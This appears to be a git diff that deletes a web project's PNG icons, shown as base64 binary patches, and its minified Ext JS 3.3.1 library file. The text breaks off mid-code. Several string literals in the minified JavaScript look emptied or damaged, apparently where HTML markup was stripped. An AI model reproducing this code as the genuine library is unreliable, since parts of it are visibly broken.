HcmV?d00001 literal 320 zcmeAS@N?(olHy`uVBq!ia0vp^d?3ui3?$#C89V|~QYEetB`&GO$wiq3C7Jno48Dme zsS4$pB^e6tp1uKJLku?qRk4?N`ns}TVrCMMGnin?c?T%OS>O>_%)r3)0fZTy)|kuy z3bLd-`Z_W&Z0zU$lgJ9>8wB`-xc>kD|J<>?@Apb9Ef(nMsouJF%A7egs4K%IV_?)XP{B)${Vdm@u z3`}#3)f+PZ>3>$(@+;KfY~U|uAM14|YZ#VD)W46bWK{W+_I+BW!>sb}FV}u<{L+1S zcRy36-qLw@kLw#67-&v?BNiUTuq4z-jWLr=aq@*HOl%CN8RW#BliC7-b}@Lm`njxg HN@xNAjD>Q7 diff --git a/public/images/icons/mac.png b/public/images/icons/mac.png deleted file mode 100644 index 03f56f402b358da99276239b173783c6ceda025d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 282 zcmeAS@N?(olHy`uVBq!ia0vp^d?3ui3?$#C89V|~>?NMQuIv}M`1m!orz`*H1`2T& zctjR6FmMZjFyp1Wb$@_@Ea{HEjtmSN`?>!lvI6;90X`wF2M!!KcI~;MVUSnxl;oDZ zhF&dBUO`*Wy^qQ+){L4XA)z^E>$&Wny-U|_Wxc>92h_z_666=m;PC858jzFb>Eakt zaVt3?A>n}sgU~rWy|C7&PkGeN*-33Wep)gnCU#o52~(#3^)I*HI^24G;bYN+J>8dG z1>Qb-wDejWhmd{F6plykvt(Z9-8z@>$g=d(qP)Tdd%A;_BldP@TLs7p7-$(7Ffc@a WR^0mY%$F#jjSQZyelF{r5}E*eT4rDX diff --git a/public/images/icons/mozilla.png b/public/images/icons/mozilla.png deleted file mode 100644 index 6008a31ae14466af14778c8172fbbd35f20e13ba..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 289 zcmeAS@N?(olHy`uVBq!ia0vp^d?3ui3?$#C89V|~>?NMQuI!hYIE7Ut768wB`-xT*>WyUWU?ONqC!b1oC) zJ;cR!kAvX@Gebm>Uv+NIvT4&!9X$B_-lO-=o_+uR{r~^}CQr6=1ND}8x;TbZ+)DoO z|NWVr<^TU1|FKq8+4<{VecSb3wUa%+{~6y&DC0DH^Y8qHgHcJ3gf{gjHbzCv$ehLA zykvK@w9|9tYg(1cIwUf i-}vSK|MGK8nG8m@rdRd3{zU=pXYh3Ob6Mw<&;$VIB62bS diff --git a/public/images/icons/msie.png b/public/images/icons/msie.png deleted file mode 100644 index 6dbe4d07e4962b5814dd7a81d57852092a183766..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 314 zcmeAS@N?(olHy`uVBq!ia0vp^d?3ui3?$#C89V|~>?NMQuI!hY85xZ=1uFgi1BEyX zJR*x37`Q%wFr(8NlNmrkmUKs7M+SzC{oH>NS%G|m0G|+7+py_+;RiHhA3EedkLY<_ zGwu3><##H#e&4wF{K;!?H=h1}?)HzDA3uKo{{Q=b5IF2@sR7h0P!i-93>H8T3=foJ zC4q8ly&!Cc;&>(hT6UbE!QqoDI2LIX0MZrSpcM_#1Grn%>Lqsih)lTOvPt+(T8 ra;>a$R1zlgC_p~MZiG-+^dz*RX+I(xspRwd;5BNs5j{_YoRB-{gq`SB)QWkCPH03kI#H{P0YZT2)|+r; zOGto6q7)=bNdg7aG>L`BgG&LI61ECjU!U+=e=a9Mf3B}T7bh(@T|ykSX_Uq1;?L?e zYkaxKG|_(ay^S8){KsRq1!A zv9Um>PDyXkyay}-pFww%&YUSwFM1w3R)BVvbiIJNXNrs8d~WW*<_`R)9f*llidj)H zYZNP2Dnl(b_Mp9{B~&kLeaJ&Dco%uBLVa-ScB#jSskg;~+k8h)5cX1uDY+R)4r6P)zX*`(efG|NWf}{hPCJ zK@V-CkdMQ<@=h&zJ#1+~X79`^>?L2EV&N`)j1kxIPjM_PN+cWIaZY&bLC~NVr?%_~V zDW~=&{&7Wn1={g9%RG9FXfy%tU94dWxS9voS>}m8>8j9fgC7Szf_4htx(+-UqSGX5 z7l89v$Jg+0BtXg@lUxZB8B{lj6IgBR-Rc=eTzdV094x0e_8>|u^|{EjtDF52nhgie>= zhkl{Gb)L)pJ3INf%(>nM2Doczi0>Xaz`U<-iQ8N9+!oDqyl08`?PK1%mlt;L=Arev z)%nq*>;sM;Il|WuALjJ%FsBb4;_C+w^2p%e+BJ*ruOOR`YK~<` XC0q~O@yt=&=TzM14AXezo%8+;wl49> diff --git a/public/images/icons/orange.png b/public/images/icons/orange.png deleted file mode 100644 index 61bc7b769b62870988f523ebf9548918b35e7d66..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 3590 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 diff --git a/public/images/icons/unknown.png b/public/images/icons/unknown.png deleted file mode 100644 index 895b771387e91f850ff65e3f49f0231ee0a88ffe..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 218 zcmeAS@N?(olHy`uVBq!ia0vp^d?3ui3?$#C89V|~QYEetB`&GO$wiq3C7Jno48Dme zsS4$pB^e6tp1uKJLku?qRk4?N`ns}T;Ns)g)Zui`)c^`{7I;J!Gca%qfiUBxyLEqn zf-LEdzK#qG8~eHcB(eheYymzYuK)l42QotsU9JOCj3q&S!3+-1ZlnP@DxNNmAr-fh z6B?M^9659uS`_po6f9@-wJ*GtA^z!@C!#p25@A&t;ucLK6T! Ca66Cy diff --git a/public/images/icons/win.png b/public/images/icons/win.png deleted file mode 100644 index a3e9a9684a443e9a09ac4b9bf600183314800e7d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 334 zcmeAS@N?(olHy`uVBq!ia0vp^d?3ui3?$#C89V|~QYEetB`&GO$wiq3C7Jno48Dme zsS4$pB^e6tp1uKJLku?qRk4?N`ns}T;Ns)g)Sj;VqZ=s1S>O>_%)r1c1j3A$?$-SQ z3bLd-`Z_W&Z0zU$lgJ9>8wB`-xPJft{nnZ&O+&+|pdbMOi6BeEt=H~lAA2tmm24;> z5GBDO(7v-g-}2tIV-M{GlFu2||4i`&>SZhm@(X5gcy=QV$jS3`aSW-rm7Ku9WdP)4-QibtN)VXQDpczE`xXAkUjh%RI>;okxb7K@0kpyQ1k_Y(|Oe7$m(^ zNYX>mI||sUbmn+c3<&FnE=4u#()KBS^SH8e)Qs5i!#lY=$-1gbH6VluzU=m=EP78&5vQ z-?+fFP-G2l&l_QzYealK$;1Rl?FkzXR&Jv@fBPNjCr#AYRyJ7UJQ0v#?)7Ott=>3`#-pV!7>9}>Q1jL)H6h&gkP@3nI=+F3nA~M>u#(n* z8T!#8oEw&-mED4!h4s!N@Jo3S7N&Q6%6l3}nlcd~X@>;uelvPsSkXIgg~e+^T1zSf z3SNj(5%jK~i8@b;C`0sGY+vu>b$x(l^!y&e3LT!$PJ06d9I~VJ7A=2?olFzvm zzpDxE7n6N1CI(zd3A#}bd9NVyZb9tbn*6)9`43}*9>oVgP7HaP6#6VR?0I_l!meOY(6|dTBUw78N>aBj$UH@iM{ilZ1FAYgw8_pbc0Z{x51oBkf&`s?Q9|Ns9pjDkTQ0*XIbm_d%z0TG})!N75lfssSTW5a@j z7VZsy6h0k$;Gk@@Yl-LKR#u*NrzJaX3aNBVGqZFP(Gfc8+b>uAY)8hyXKfvg1xYiW zY*bF=5>dbAA)s8qF ~NwO_yO%;SvZ5MdNYf|QNy-I*%yJaj+uTdt+qbZ z4E`Fzb8m}I&!N8OKmWEcCmrLs^Hs&3i)mt@hQVdcqghkaBs*D}tG_lKew4?rTjzIZ z9tSone1TS+TR7tu^CunG)Y7Jg#sw#)sG9C!c0I%LEzP)9;hqRf&)s$D8d5Db{TBs% zgl0~5QQ91luq4Q9tJgt4QLbaxZvAaKeCM9!oy85dg4k>TdBSVqjHub_PG=PO&J-rx z7oYTuF+kH|tG-UK+EkUhDjYx?zW?T|lx>+aOQm zzL$v$zBLo4Cj=G&tw{H}dW?tlTkS)SY4<#NS92z*EY-MMB6Ftp`R=*=*Ev7cS+X%W zMCur^FdlokL}1Y+&aasU2J4#EOuNlnb9CmqgLCGTSY!1BD42pkHY^XidQ5=>YQx%` z*%Pm9D!CkBu&tMWm(%-ejACVWGS2RX5=QOJ$1*tr7F}F+*-OA+Ly&Isg|AEuUYicA z#%IG6kPXkHt{zk2M6zK@Vu^4Q(1zE$?yY6M!^&jQ+2^E?!p7{g*|X6}vuRC3p@jk0 W117c83?+LXEZI4G$p&LV25SKE>nb+@ diff --git a/public/images/statusbar/saved.png.png b/public/images/statusbar/saved.png.png deleted file mode 100644 index a9925a06ab02db30c1e7ead9c701c15bc63145cb..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 537 zcmV+!0_OdRP)Hs{AQG2a)rMyf zFQK~pm1x3+7!nu%-M`k}``c>^00{o_1pjWJUTfl8mg=3qGEl8H@}^@w`VUx0_$uy4 z2FhRqKX}xI*?Tv1DJd8z#F#0c%*~rM30HE1@2o5m~}ZyoWhqv>ql{V z1ZGE0lgcoK^lx+eqc*rAX1Ky;Xx3U%u#zG!m-;eD1Qsn@kf3|F9qz~|95=&g3(7!X zB}JAT>RU;a%vaNOGnJ%e1=K6eAh43c(QN8RQ6~GP%O}Jju$~Ld*%`mO1prcBOWw8g- z*|LmE`Pti|^LIpf)zbWXvf^rfX-#k8z5WX|LuZ@mSD)tB^!!>}|FWz>eC>h!(gRib zLuvV=!HT8)uy`JuB_$CYq*MPuBw4w+azqQ z>v&n$G2GBO-1tn{&^7w-`B?J{RnrS~3xBMIuYSxQJpUBZ7N`mIaW z&zCE?qE}qe>(2i1XOi(QiH0W|=gBnu0Zq@KMlh%m$u)h7H&W%q;K+nbH8G@`kdI9% z#wHc7rj+VQrFv>?d`hjE)=a+D9=_E(!)==ae)RJ6+vL2)X^zg!)EmfL1MS~IJG4l~ z0O+5j2Qrw+JD354Kn#XJz_GBYIBayN-?6=^p_wPK*qGRWY*r{1mzIe|#W65@OD_@C~iS%_n3P$CvlQ*GC`-a(Ldu>-F*8(Hbe{3%r#9-4VX2 zYSQaX+edv#-%r1tCLMF&k}jR7XX=d@S$JD>Y7V|rIBfJ3x1LEbA93(U__rIFu11uZ zU)DY3W0ExM9`4d%3?|d;Fl;%D3X3^FVUh5779JpN7%`qK8zP=eApl3_=o6N4?ji(+{V_{ezm==4bN@sB3L_I)aM~~ zbKAlQ>+2VLxVmi=pyY7Hu&XOVfP}NA-%?y?_?~{Rg)Am?p)zOGy5W$+RHJvU9cH`1 zGJ)littsfXqf5V7wWq#tAis904L!&TfJmG3VUM$_ zIzWwr_oywr%SHOIcjfm)6-5{BAEv^yG(pl$`S#}P!X@IQ##%em6>teIsZmF7YqklJ zcO*F_(=dEhc8;YEd|GH-8Q!?CbOe z2}CN53cxl$z1$^K>HH2fKEHEXM;*uy}>aGjfX|bSd zVRu)Ti3>NxTqrU(H8qjibA$VYVu{IO8y$$hTp?Y&c;)CebFCB27y+?Mhj``Bhb~^J zcvWz}jsc3bP8n85$eT6x0nZ;LC6hPMrzXv;5chQK^r68P1s7XS&wlAXDFLI%12al^ zz#?KkD&c38z@JKFR?#0wK#N4ifE(U7Z()nHNFWA$j@14EN$>$l@*b&oZJ$`8MH-wz zQi#Q>_ef3?&}H5#roqAB-6~#vxs?}u#SfY*W4d)&$ITtbMmIE|vdj{fd3;nd{-;WR ttqEvr0-x6e{#FwPJ(CmeeNGu@^rxDN{;%oZtjSsXwtV)${C8{m_IHHp-|_$e diff --git a/public/javascript/ext-all.js b/public/javascript/ext-all.js deleted file mode 100644 index 342138fd0..000000000 --- a/public/javascript/ext-all.js +++ /dev/null @@ -1,11 +0,0 @@ -/* - * Ext JS Library 3.3.1 - * Copyright(c) 2006-2010 Sencha Inc. - * licensing@sencha.com - * http://www.sencha.com/license - */ -(function(){var h=Ext.util,k=Ext.each,g=true,i=false;h.Observable=function(){var l=this,m=l.events;if(l.listeners){l.on(l.listeners);delete l.listeners}l.events=m||{}};h.Observable.prototype={filterOptRe:/^(?:scope|delay|buffer|single)$/,fireEvent:function(){var l=Array.prototype.slice.call(arguments,0),n=l[0].toLowerCase(),o=this,m=g,r=o.events[n],t,p,s;if(o.eventsSuspended===g){if(p=o.eventQueue){p.push(l)}}else{if(typeof r=="object"){if(r.bubble){if(r.fire.apply(r,l.slice(1))===i){return i}s=o.getBubbleTarget&&o.getBubbleTarget();if(s&&s.enableBubble){t=s.events[n];if(!t||typeof t!="object"||!t.bubble){s.enableBubble(n)}return s.fireEvent.apply(s,l)}}else{l.shift();m=r.fire.apply(r,l)}}}return m},addListener:function(l,n,m,s){var p=this,r,t,q;if(typeof l=="object"){s=l;for(r in s){t=s[r];if(!p.filterOptRe.test(r)){p.addListener(r,t.fn||t,t.scope||s.scope,t.fn?t:s)}}}else{l=l.toLowerCase();q=p.events[l]||g;if(typeof q=="boolean"){p.events[l]=q=new h.Event(p,l)}q.addListener(n,m,typeof s=="object"?s:{})}},removeListener:function(l,n,m){var o=this.events[l.toLowerCase()];if(typeof o=="object"){o.removeListener(n,m)}},purgeListeners:function(){var n=this.events,l,m;for(m in n){l=n[m];if(typeof l=="object"){l.clearListeners()}}},addEvents:function(p){var n=this;n.events=n.events||{};if(typeof p=="string"){var l=arguments,m=l.length;while(m--){n.events[l[m]]=n.events[l[m]]||g}}else{Ext.applyIf(n.events,p)}},hasListener:function(l){var m=this.events[l.toLowerCase()];return typeof m=="object"&&m.listeners.length>0},suspendEvents:function(l){this.eventsSuspended=g;if(l&&!this.eventQueue){this.eventQueue=[]}},resumeEvents:function(){var l=this,m=l.eventQueue||[];l.eventsSuspended=i;delete l.eventQueue;k(m,function(n){l.fireEvent.apply(l,n)})}};var d=h.Observable.prototype;d.on=d.addListener;d.un=d.removeListener;h.Observable.releaseCapture=function(l){l.fireEvent=d.fireEvent};function e(m,n,l){return function(){if(n.target==arguments[0]){m.apply(l,Array.prototype.slice.call(arguments,0))}}}function b(p,q,m,n){m.task=new h.DelayedTask();return function(){m.task.delay(q.buffer,p,n,Array.prototype.slice.call(arguments,0))}}function c(n,o,m,l){return function(){o.removeListener(m,l);return n.apply(l,arguments)}}function a(p,q,m,n){return function(){var l=new h.DelayedTask(),o=Array.prototype.slice.call(arguments,0);if(!m.tasks){m.tasks=[]}m.tasks.push(l);l.delay(q.delay||10,function(){m.tasks.remove(l);p.apply(n,o)},n)}}h.Event=function(m,l){this.name=l;this.obj=m;this.listeners=[]};h.Event.prototype={addListener:function(p,o,n){var q=this,m;o=o||q.obj;if(!q.isListening(p,o)){m=q.createListener(p,o,n);if(q.firing){q.listeners=q.listeners.slice(0)}q.listeners.push(m)}},createListener:function(q,p,r){r=r||{};p=p||this.obj;var m={fn:q,scope:p,options:r},n=q;if(r.target){n=e(n,r,p)}if(r.delay){n=a(n,r,m,p)}if(r.single){n=c(n,this,q,p)}if(r.buffer){n=b(n,r,m,p)}m.fireFn=n;return m},findListener:function(p,o){var q=this.listeners,n=q.length,m;o=o||this.obj;while(n--){m=q[n];if(m){if(m.fn==p&&m.scope==o){return n}}}return -1},isListening:function(m,l){return this.findListener(m,l)!=-1},removeListener:function(r,q){var p,m,n,s=this,o=i;if((p=s.findListener(r,q))!=-1){if(s.firing){s.listeners=s.listeners.slice(0)}m=s.listeners[p];if(m.task){m.task.cancel();delete m.task}n=m.tasks&&m.tasks.length;if(n){while(n--){m.tasks[n].cancel()}delete m.tasks}s.listeners.splice(p,1);o=g}return o},clearListeners:function(){var o=this,m=o.listeners,n=m.length;while(n--){o.removeListener(m[n].fn,m[n].scope)}},fire:function(){var r=this,q=r.listeners,m=q.length,p=0,n;if(m>0){r.firing=g;var o=Array.prototype.slice.call(arguments,0);for(;p",i="",b=a+"",k=""+i,m=b+"",w=""+k;function h(B,D,C,E,A,y){var z=s.insertHtml(E,Ext.getDom(B),u(D));return C?Ext.get(z,true):z}function u(D){var z="",y,C,B,E;if(typeof D=="string"){z=D}else{if(Ext.isArray(D)){for(var A=0;A"}}}return z}function g(F,C,B,D){x.innerHTML=[C,B,D].join("");var y=-1,A=x,z;while(++y "'+D+'"'},insertBefore:function(y,A,z){return h(y,A,z,c)},insertAfter:function(y,A,z){return h(y,A,z,q,"nextSibling")},insertFirst:function(y,A,z){return h(y,A,z,o,"firstChild")},append:function(y,A,z){return h(y,A,z,r,"",true)},overwrite:function(y,A,z){y=Ext.getDom(y);y.innerHTML=u(A);return z?Ext.get(y.firstChild):y.firstChild},createHtml:u};return s}();Ext.Template=function(h){var k=this,c=arguments,e=[],d;if(Ext.isArray(h)){h=h.join("")}else{if(c.length>1){for(var g=0,b=c.length;g+~]\s?|\s|$)/,tagTokenRe=/^(#)?([\w-\*]+)/,nthRe=/(\d*)n\+?(\d*)/,nthRe2=/\D/,isIE=window.ActiveXObject?true:false,key=30803;eval("var batch = 30803;");function child(parent,index){var i=0,n=parent.firstChild;while(n){if(n.nodeType==1){if(++i==index){return n}}n=n.nextSibling}return null}function next(n){while((n=n.nextSibling)&&n.nodeType!=1){}return n}function prev(n){while((n=n.previousSibling)&&n.nodeType!=1){}return n}function children(parent){var n=parent.firstChild,nodeIndex=-1,nextNode;while(n){nextNode=n.nextSibling;if(n.nodeType==3&&!nonSpace.test(n.nodeValue)){parent.removeChild(n)}else{n.nodeIndex=++nodeIndex}n=nextNode}return this}function byClassName(nodeSet,cls){if(!cls){return nodeSet}var result=[],ri=-1;for(var i=0,ci;ci=nodeSet[i];i++){if((" "+ci.className+" ").indexOf(cls)!=-1){result[++ri]=ci}}return result}function attrValue(n,attr){if(!n.tagName&&typeof n.length!="undefined"){n=n[0]}if(!n){return null}if(attr=="for"){return n.htmlFor}if(attr=="class"||attr=="className"){return n.className}return n.getAttribute(attr)||n[attr]}function getNodes(ns,mode,tagName){var result=[],ri=-1,cs;if(!ns){return result}tagName=tagName||"*";if(typeof ns.getElementsByTagName!="undefined"){ns=[ns]}if(!mode){for(var i=0,ni;ni=ns[i];i++){cs=ni.getElementsByTagName(tagName);for(var j=0,ci;ci=cs[j];j++){result[++ri]=ci}}}else{if(mode=="/"||mode==">"){var utag=tagName.toUpperCase();for(var i=0,ni,cn;ni=ns[i];i++){cn=ni.childNodes;for(var j=0,cj;cj=cn[j];j++){if(cj.nodeName==utag||cj.nodeName==tagName||tagName=="*"){result[++ri]=cj}}}}else{if(mode=="+"){var utag=tagName.toUpperCase();for(var i=0,n;n=ns[i];i++){while((n=n.nextSibling)&&n.nodeType!=1){}if(n&&(n.nodeName==utag||n.nodeName==tagName||tagName=="*")){result[++ri]=n}}}else{if(mode=="~"){var utag=tagName.toUpperCase();for(var i=0,n;n=ns[i];i++){while((n=n.nextSibling)){if(n.nodeName==utag||n.nodeName==tagName||tagName=="*"){result[++ri]=n}}}}}}}return result}function concat(a,b){if(b.slice){return a.concat(b)}for(var i=0,l=b.length;i1){return nodup(results)}return results},isXml:function(el){var docEl=(el?el.ownerDocument||el:0).documentElement;return docEl?docEl.nodeName!=="HTML":false},select:document.querySelectorAll?function(path,root,type){root=root||document;if(!Ext.DomQuery.isXml(root)){try{var cs=root.querySelectorAll(path);return Ext.toArray(cs)}catch(ex){}}return Ext.DomQuery.jsSelect.call(this,path,root,type)}:function(path,root,type){return Ext.DomQuery.jsSelect.call(this,path,root,type)},selectNode:function(path,root){return Ext.DomQuery.select(path,root)[0]},selectValue:function(path,root,defaultValue){path=path.replace(trimRe,"");if(!valueCache[path]){valueCache[path]=Ext.DomQuery.compile(path,"select")}var n=valueCache[path](root),v;n=n[0]?n[0]:n;if(typeof n.normalize=="function"){n.normalize()}v=(n&&n.firstChild?n.firstChild.nodeValue:null);return((v===null||v===undefined||v==="")?defaultValue:v)},selectNumber:function(path,root,defaultValue){var v=Ext.DomQuery.selectValue(path,root,defaultValue||0);return parseFloat(v)},is:function(el,ss){if(typeof el=="string"){el=document.getElementById(el)}var isArray=Ext.isArray(el),result=Ext.DomQuery.filter(isArray?el:[el],ss);return isArray?(result.length==el.length):(result.length>0)},filter:function(els,ss,nonMatches){ss=ss.replace(trimRe,"");if(!simpleCache[ss]){simpleCache[ss]=Ext.DomQuery.compile(ss,"simple")}var result=simpleCache[ss](els);return nonMatches?quickDiff(result,els):result},matchers:[{re:/^\.([\w-]+)/,select:'n = byClassName(n, 